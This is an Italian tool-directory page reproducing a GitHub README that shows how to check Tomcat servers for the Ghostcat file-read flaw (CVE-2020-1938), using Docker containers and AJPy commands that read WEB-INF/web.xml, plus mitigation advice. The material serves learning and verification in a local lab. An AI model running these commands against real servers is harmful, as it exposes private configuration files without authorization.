Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ghostcat-verification — Apprendimenti su come verificare se si è vulnerabili a Ghostcat (noto anche come CVE-2020-1938) | Kitploit
Strumenti/GitHubGitHub/shaunmclernon/ghostcat-verification
Analisi delle VulnerabilitàExploitSicurezza WebApprendimento e FormazioneLab e Pratica
GitHubshaunmclernon/ghostcat-verification

ghostcat-verification

Apprendimenti su come verificare se si è vulnerabili a Ghostcat (noto anche come CVE-2020-1938)

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
116 anni faNon ancora revisionato

Verifica di Ghostcat (CVE-2020-1938)

Riepilogo

È stato trovato un nuovo exploit chiamato Ghostcat CVE-2020-1938, consulta gli articoli su snyk e tenable per dettagli e analisi dell'exploit stesso.

Nel mio caso, volevo verificare quali server Tomcat sono sfruttabili e, in caso affermativo, come si manifesta. Quindi questo esperimento serve a controllare Tomcat 7, 8 e 9.

Prerequisiti

  • docker
  • python
  • git

Lettura di un file utilizzando CVE-2020-1938 su Tomcat 7

TODO: Come verificare se un Tomcat 7 è vulnerabile?

Lettura di un file utilizzando CVE-2020-1938 su Tomcat 8

Invece di testare exploit su server reali, sto usando build esistenti di Tomcat per eseguire il mio esperimento usando AJPy, che crea richieste AJP per comunicare con i connettori AJP.

root@kitploit:~
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

Se restituisce il web.xml, allora questa versione di Tomcat è vulnerabile all'exploit.

Se proviamo lo stesso test usando l'ultima versione di Tomcat 8.5, possiamo vedere che non è vulnerabile a questo particolare errore.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

In questo caso, dovremmo ottenere un errore di Python, che in realtà significa che il server non è vulnerabile;

root@kitploit:~
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

Lettura di un file utilizzando CVE-2020-1938 su Tomcat 9

TODO: Come verificare se un Tomcat 9 è vulnerabile?

Springboot

TODO: Come verificare se un servizio springboot è vulnerabile?

Mitigazione

Ovviamente, se vulnerabile (indipendentemente dalla versione), dovresti considerare l'aggiornamento alle versioni patchate. Un'altra opzione è bloccare l'accesso alla porta AJP.

Avvia la stessa versione di Tomcat ma non esporre la porta AJP 8009.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

In questo caso, possiamo vedere che non riuscirà a sfruttare il server.

Dichiarazione di non responsabilità

Non sono un professionista della sicurezza e questo repository è stato creato per il mio apprendimento, non è pensato per essere usato per scopi dannosi.

Scarica lo strumento